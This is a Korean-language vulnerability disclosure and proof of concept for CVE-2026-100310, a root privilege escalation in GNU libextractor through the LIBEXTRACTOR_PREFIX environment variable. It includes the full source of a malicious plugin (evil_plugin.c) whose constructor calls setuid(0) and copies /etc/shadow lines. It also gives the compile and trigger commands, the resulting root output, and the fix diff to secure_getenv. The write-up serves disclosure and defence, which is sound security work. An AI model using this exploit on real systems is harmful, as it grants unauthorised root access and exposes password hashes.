
CVE-2026-100310에 대한 개념 증명으로, GNU libextractor ≤1.15에서 LIBEXTRACTOR_PREFIX 신뢰할 수 없는 검색 경로를 통한 로컬 권한 상승 취약점이며, 익스플로잇 코드와 패치 분석을 포함합니다.
GNU libextractor의 플러그인 로딩 메커니즘은 LIBEXTRACTOR_PREFIX 환경 변수를 사용하여 공유 라이브러리(.so 플러그인)를 로드할 위치를 결정합니다. secure_getenv() 대신 getenv()를 사용하기 때문에, 프로세스가 상승된 권한으로 실행될 때 이 환경 변수가 제거되지 않습니다. 공격자는 LIBEXTRACTOR_PREFIX를 악성 디렉터리로 설정하여 libextractor 플러그인을 로드하는 모든 애플리케이션이 임의 코드를 실행하도록 강제할 수 있습니다.
주요 영향: root로의 로컬 권한 상승(LPE).
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-100310 |
| 제품 | GNU libextractor |
| 영향받는 버전 | >= 0, < 1.16 |
| 수정된 버전 | 1.16 |
| CVSS 4.0 | 7.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| 심각도 | HIGH |
| CWE | CWE-426 (신뢰할 수 없는 검색 경로) |
| 공격 벡터 | 로컬 |
| 필요한 권한 | 낮음 |
| 사용자 상호작용 | 없음 |
| CNA | VulnCheck |
| 연구자 | Haitam Lazaar |
참고: 이 취약점이 로컬 권한 상승을 초래하려면, 관리자가
setuid비트가 설정된libextractor에 링크된 바이너리를 구성해 두어야 합니다.libextractor자체는setuid바이너리를 제공하지 않지만, 이 라이브러리를 동적으로 링크하면서 환경을 수동으로 정리하지 않는 모든 권한 있는 프로세스나 시스템 데몬은 완전한 장악에 취약합니다.
libextractor에 링크된 모든 setuid 바이너리 또는 권한 있는 데몬
위 애니메이션은 익스플로잇을 보여줍니다. 공격자는 악성 공유 라이브러리(evil_plugin.c)를 컴파일하여 /tmp/evil_plugins에 배치합니다. libextractor를 사용하는 setuid 바이너리를 실행하면서 명령 앞에 LIBEXTRACTOR_PREFIX=/tmp/evil_plugins를 붙이면, 동적 링커가 상승된 권한으로 악성 플러그인을 로드합니다. 이는 즉시 root로 임의 명령을 실행하며, id의 출력과 제한된 /etc/shadow 파일을 /tmp/privesc_proof에 기록함으로써 입증됩니다.
이 취약점은 주로 LIBEXTRACTOR_PREFIX 환경 변수를 악용하여 트리거됩니다.
(참고: libextractor에는 /proc/PID/maps와 쓰기 가능한 PATH 디렉터리를 사용하는 2차적인 안전하지 않은 폴백도 포함되어 있지만, 환경 변수 주입이 가장 직접적이고 신뢰할 수 있는 공격 벡터입니다).
/*
* evil_plugin.c — 권한 상승을 위한 악성 libextractor 플러그인
* 컴파일: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
*
* 디렉터리에 배치하고 LIBEXTRACTOR_PREFIX를 해당 디렉터리로 설정하십시오.
* 모든 setuid 애플리케이션이 OLE2 플러그인을 로드할 때, 이 생성자가
* 완전한 root(uid=0, gid=0)로 상승하여 임의 명령을 실행합니다.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn(void) {
/* 상승: euid=0은 실제 uid=0을 설정하는 setuid(0)을 허용합니다 */
setuid(0);
setgid(0);
/* 이제 완전한 root로 실행 중 — 셸 명령이 작동합니다 */
system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
system("id >> /tmp/privesc_proof");
system("echo '' >> /tmp/privesc_proof");
system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
system("head -3 /etc/shadow >> /tmp/privesc_proof");
}
int _EXTRACTOR_ole2_extract_method = 0;
libextractor 1.14가 설치된 Ubuntu 24.04에서 테스트됨:
# 1. 악성 플러그인 컴파일
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c
# 2. 잘못 구성된 (setuid) 대상 바이너리 시뮬레이션
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract
# 3. 비권한 사용자로 익스플로잇 트리거
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)
--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
src/main/extractor_plugpath.c에서 get_installation_paths() 함수는 표준 getenv()를 호출합니다:
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))
secure_getenv()를 사용하지 않기 때문에, 바이너리가 상승된 권한으로 실행될 때 동적 링커가 이 변수를 제거하지 않습니다(LD_PRELOAD나 LD_LIBRARY_PATH와 달리). 그런 다음 lt_dlopenadvise()가 공격자가 제어하는 경로에서 libextractor_<name>.so를 무조건 로드합니다.
메인테이너는 버전 1.16에서 getenv()를 secure_getenv()로 교체하여 이 문제를 수정했습니다. secure_getenv()는 프로세스가 상승된 권한(euid != uid)으로 실행 중일 때 NULL을 반환합니다.
- if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+ if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))
본인의 독립적인 보안 연구 중에 발견했습니다 (Haitam Lazaar).
GNU libextractor의 메인테이너인 Christian Grothoff에게 특별히 감사드립니다. 이번 감사 중 보고된 이 문제와 여러 다른 메모리 안전 문제를 해결하기 위한 놀랍도록 빠른 트리아지, 전문적인 커뮤니케이션, 그리고 신속한 패치 배포(v1.15, v1.16, v1.17)에 감사드립니다.
본인의 연구는 교육 및 방어 목적으로 제공됩니다. 책임감 있게 사용하십시오.